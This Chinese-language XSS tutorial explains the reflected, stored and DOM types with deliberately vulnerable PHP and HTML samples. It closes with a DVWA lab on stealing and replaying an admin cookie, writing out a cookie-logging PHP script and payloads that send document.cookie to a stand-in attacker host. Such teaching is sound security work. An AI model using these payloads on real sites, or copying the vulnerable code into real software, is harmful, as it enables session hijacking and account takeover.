文章目錄
一、漏洞原理
1、XSS簡介:
XSS全稱:Cross Site Scripting,即跨站腳本攻擊,為了不和“層疊樣式表”(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫為XSS。XSS是最常見的 Web 應用程序安全漏洞之一,這類漏洞能夠使攻擊者嵌入惡意腳本代碼(一般是JS代碼)到正常用戶會訪問到的頁面中,當正常用戶訪問該頁面時,惡意腳本代碼將會在用戶的瀏覽器上執行,從而達到惡意攻擊用戶的目的。
從上述內容可知,XSS屬於客戶端攻擊,受害者最終是用戶。但不要以為受害者是用戶,就認為跟自己的網站、服務器安全沒有關系,不要忘記網站管理人員也屬於用戶之一,這就意味着 XSS 可以攻擊 “服務器端”。因為管理員要比普通用戶的權限大得多,而攻擊者就有可能靠管理員身份作為“跳板”實施攻擊。
2、XSS原理解析:
XSS攻擊在網頁中嵌入的惡意腳本代碼一般是使用 JavaScript 語言,JavaScript 可以獲取用戶的Cookie、改變網頁內容、URL跳轉,那么存在XSS漏洞的網站,就可以盜取用戶Cookie、黑掉頁面、導航到惡意網站,而攻擊者需要做的僅僅是向Web頁面中注入JavaScript 代碼。
下面是一個簡單的XSS漏洞實例,代碼如下:
<html>
<head>
<meta content="text/html;charset=utf-8"/>
<title>xss漏洞示例</title>
</head>
<body>
<center>
<h6>把輸入的字符串輸出</h6>
<form action="#" method="get">
<h6>請輸入</h6>
<input type="text" name="xss"><br />
<input type="submit" value="確定">
</form>
<hr>
<?php
if (isset($_GET['xss'])) {
echo '<input type="text" value="'.$_GET['xss'].'">';
}else{
echo '<input type="text">';
}
?>
</center>
</body>
</html>
在代碼中,通過GET獲取參數xss的值,然后通過echo輸出一個input標簽,並將xss的值放入input標簽的value中。例如我們輸入123,會在下面的輸出框中輸出123。
那么當我們輸入"><script>alert(1)</script>
時,輸出到頁面的 HTML代碼變為
<input type="text" value=""><script>alert(1)</script>">
發現,輸入的雙引號閉合了value屬性的雙引號,輸入的>
閉合了input的標簽,導致我們后面輸入的惡意代碼成為另一個HTML標簽。
當瀏覽器渲染時執行了<script>alert(1)</script>
,JS函數alert()導致瀏覽器彈窗。
在真實的攻擊中,攻擊者通過構造JS代碼來實現一些 “特殊效果”。攻擊者不僅僅彈出一個框,通常使用<script src="http:// www.hacker.com/x.txt"></script>
方式來加載外部腳本,而在x.txt中就存放着攻擊者的惡意JS 代碼,這段代碼可能是用來盜取用戶的Cookie,也可能是監控鍵盤記錄等惡意行為。
注:JavaScript 加載外部的代碼文件可以是任意擴展名(無擴展名也可以),如:
<script src="http://www.secbug.org/x.jpg"></script>
,即使文件為圖片擴展名x.jpg,但只要其文件中包含JS代碼就會被執行。
3、XSS的分類:
XSS主要被分為三類,分別是:反射型、存儲型 和 DOM型。這些有一些相同的特點,但是在如何確定和利用方面有一些區別,下面依次分析它們。
3.1、反射型XSS
反射型XSS 也被稱為 非持久性XSS,是最容易出現的一種XSS漏洞。當用戶訪問一個帶有 XSS 代碼的 URL 請求時,服務器端接收數據后處理,然后把帶有 XSS 代碼的數據發送到瀏覽器,瀏覽器解析這段帶有 XSS 代碼的數據后,最終造成 XSS 漏洞。這個過程就像一次反射,故稱為 “反射型XSS”。
下面用 DVWA 為大家進行演示,在輸入框中構造如下JS代碼:
<script>alert('XSS')</script>
這代碼是進行彈窗操作,如果頁面出現彈窗,說明我們插入的惡意代碼被執行,結果如下:
可以看到頁面出現彈窗,即我們輸入的代碼被程序成功解析,網站存在反射型XSS漏洞。
可能有人會說:這似乎並沒有造成什么危害,不就是彈出一個框嗎?那么請看下面這個例子。
假如網站 www.XXX.com/xss.php 存在XSS反射型漏洞,那么攻擊者的步驟可能如下:
-
用戶 A 是網站 www.XXX.com 的忠實用戶,此時正泡在論壇看信息。
-
攻擊者發現 www.XXX.com/xss.php 存在反射型XSS漏洞,然后精心構造JS代碼,此段代碼可以盜取用戶Cookie發送到指定的站點 www.hacker.com。
-
攻擊者將帶有反射型XSS漏洞的URL通過站內私信發送給用戶A,信的內容為一些誘惑信息,目的是為讓用戶A單擊鏈接。
-
假設用戶 A 點擊了帶有XSS漏洞的URL,那么將會把自己的Cookie 發送到網站www.XXX.com。
-
攻擊者接收到用戶 A 的會話Cookie,可以直接利用Cookie 以 A 的身份登錄www.XXX.org,從而獲取用戶 A 的敏感信息。
以上步驟,通過使用反射型XSS漏洞可以以用戶 A 的身份登錄網站,這就是其危害,如果A的身份是管理員,那么危害將更加嚴重。
這是最簡單的一種攻擊,攻擊者截獲通過驗證的用戶會話令牌。劫持用戶的會話后,攻擊者就可以訪問該用戶經授權訪問的所有數據和功能,其過程可以用一張圖表示:
3.2、存儲型XSS
存儲型XSS又被稱為持久性XSS,是最危險的一種跨站腳本。允許用戶存儲數據的 Web 應用都可能會出現存儲型XSS漏洞,當攻擊者提交一段XSS代碼后,被服務器端接收並存儲,然后不經過過濾或凈化就顯示給其他用戶,這時候就會出現存儲型XSS。
存儲型與反射型、DOM型相比,具有更高的隱蔽性,危害性也更大。它們之間最大的區別在於:反射型XSS 與 DOM型XSS 執行都必須依靠用戶手動去觸發,而存儲型XSS卻不需要。
利用存儲型XSS漏洞的攻擊至少需要向 Web 應用提出兩個請求。攻擊者在第一個請求中構造JavaScript,應用程序接受並保存。在第二個請求中,一名受害者查看包含惡意代碼的頁面,這時JavaScript開始執行。
下面以 DVWA 的存儲型XSS為例:
核心代碼:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
}
?>
在上面代碼中,獲取POST參數mtxMessage和txtName,然后將參數插入到數據庫的表中,並顯示到頁面上。頁面的功能是獲取用戶名字和內容並插入到數據庫中,如果我們輸入惡意代碼,那么也會插入到數據庫中,只要用戶訪問這個頁面,那么惡意代碼就會執行。
在頁面提交以下數據
可以看到數據成功存儲到了數據庫
那么當其它用戶訪問這個頁面時就會執行存儲的JS代碼。
試想一下:如果攻擊者構造的JS代碼是把當前用戶的Cookie發送給攻擊者時,后果會有多嚴重?
3.3、DOM型XSS
DOM XSS與反射型XSS、存儲型XSS的主要區別在於DOM XSS的XSS代碼不需要服務端的解析響應,觸發XSS的是瀏覽器端(即客戶端)的DOM解析。
DOM的全稱:Document Object Model,即文檔對象模型,DOM通常用於代表HTML、XHTML和XML中的對象。使用 DOM 可以允許程序和腳本動態地訪問和更新文檔的內容、結構和樣式。根據DOM規定,HTML文檔中的每個成分都是一個節點。
DOM的規定如下:
- 整個文檔是一個文檔節點
- 每個HTML標簽是一個元素節點
- 包含在HTML元素中的文本是文本節點
- 每一個HTML屬性是一個屬性節點
- 節點與節點之間都有層級關系
這些節點按照層級關系組成了 DOM 的整體結構:節點樹,如圖所示:
在一個web頁面中有許多組成頁面的元素,當頁面到達瀏覽器時,瀏覽器會為頁面創建一個頂級的 Document object 文檔對象,接着生成各個子文檔對象,每個頁面元素對應一個文檔對象,每個文檔對象包含屬性、方法和事件。通過JS腳本可以對文檔對象進行編輯從而修改頁面的元素。也就是說,客戶端的腳本程序可以通過DOM來動態修改頁面內容,從客戶端獲取DOM中的數據並在本地執行。基於這個特性,就可以利用JS腳本來實現XSS漏洞的利用。
可能觸發DOM型XSS的屬性:
- document.referer屬性
- window.name屬性
- location屬性
- innerHTML屬性
- documen.write屬性
來看一個例子,代碼如下:
<html>
<head>
<meta content="text/html;charset=utf-8" />
<title>XSS DOM</title>
<script type="text/javascript"> function replace() { document.getElementById("id1").innerHTML =document.getElementById("dom_input").value; } </script>
</head>
<body>
<center>
<h6 id="id1">這里顯示輸入的內容</h6>
<form action="#" method="post">
<input type="text" id="dom_input" value="輸入"><br />
<input type="button" value="替換" onclick="replace()">
</form>
<hr>
</center>
</body>
</html>
程序存在JS函數replace(),該函數的作用是通過DOM操作將元素 id1 的內容修改為元素 dom_input 的內容。這個頁面的功能是輸入框中輸入什么,上面得文字就會被替換成什么。
輸入惡意代碼 <img src=1 onerror=alert(1)>
,單擊替換按鈕,頁面出現彈框,說明我們的代碼被瀏覽器成功解析,導致DOM XSS。
二、靶場實戰
前面介紹了 XSS 簡單原理與幾種類型,接下來通過實例來演示:XSS盜取用戶的Cookie。
XSS實現盜取管理員Cookie並登錄:
這里測試用的工具是DVWA,首先登陸DVWA,選擇low模式(默認是impossible),
選擇XSS(Reflected),首先對頁面測試,輸入代碼:
<script>alert(1)</script>
界面出現彈窗,說明存在XSS跨站漏洞
接下來在自己的網站目錄下,創建一個如下的php文件:
getcookie.php:
<?php
$cookie = $_GET['cookie']; //以GET方式獲取cookie
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie ."\n"); //寫入文件並保存
fclose($log);
?>
接下來在有XSS漏洞的地方,輸入如下代碼
<script>document.location='http://www.hacker.com:81/getcookie.php?cookie='+document.cookie;</script>
注:在JavaScript 中
document.location 用於跳轉頁面
document.cookie 可以創建 、讀取、及刪除cookie。
或
<script>var i=new Image; i.src="http://www.hacker.com:81/getcookie.php?cookie="+document.cookie;</script>
點擊提交后,受攻擊的用戶的Cookie信息就會發送到攻擊者的服務器並保存。
可以看到Cookie信息成功發送到自己服務器里。
接着使用我們正常用戶進行登錄,DVWA 中內置了一些其他用戶,這里使用用戶:smithy 密碼:password,進行登錄並開啟 burpsuite 抓包
在 burpsuit 放行第一個請求,即下面這個帶用戶名和密碼的包
將存在 Cookie 信息的請求發送到 Repeater 進行重放攻擊
替換用戶 Cookie 信息,將現在的普通用戶的 cookie 信息替換成前期抓到的 admin 用戶的cookie 信息。
成功以管理員賬戶登錄!
點擊 Show response in browser 在瀏覽器中打開
點擊copy,在瀏覽器中打開
測試結束!